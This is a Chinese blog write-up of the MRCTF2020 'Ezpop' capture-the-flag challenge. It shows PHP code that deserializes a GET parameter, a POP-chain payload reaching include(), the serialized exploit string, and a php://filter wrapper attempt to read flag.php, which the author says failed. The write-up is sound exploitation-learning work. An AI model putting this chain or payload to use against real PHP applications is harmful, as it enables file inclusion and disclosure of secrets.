[MRCTF2020]Ezpop

发布于:2025-07-18 ⋅ 阅读:(22) ⋅ 点赞:(0)
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

Modifier:当该对象被当作函数调用时,能文件包含。

Test:当该对象的不可访问属性被访问时,能调用函数。

Show:反序列化起点

思路:首先通过Show中_tostring return 一个Test对象中不存在属性,从而将Modifier对象当作函数调用,然后包含flag.php文件。不知道include(flag.php)能不能看到源码。

构造playload:

$a = new Show;
$a->source = new Show;
$a->source->str = new Test;
$b = new Modifier;
$b->var = "flag.php";//需要先修改可见性为public
$a->source->str->p = $b;
echo serialize($a);

O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:3:"var";s:8:"flag.php";}}}s:3:"str";N;}

 访问一下果然没有任何回显。那怎么获得flag.php中的内容呢?

难道能利用伪协议?试试看将$b->var改为"php://filter/convert.base64-encode/resource=flag.php"

仍然不行,看一下答案吧... 

问题在于我将$b中的$var变量的可见性由protected改成了public?为什么这样就出现问题了呢,我记得上次一道题目中这样改是没有问题的呀!

唯一的区别就在于上次那道题目改的直接是序列化对象字符串,这道题改的是pop链中的一个对象。

下次做php反序列化题目的时候能不改可见性就不改吧,除非题目将其作为了一个考点那就可以尝试。


网站公告

今日签到

点亮在社区的每一天
去签到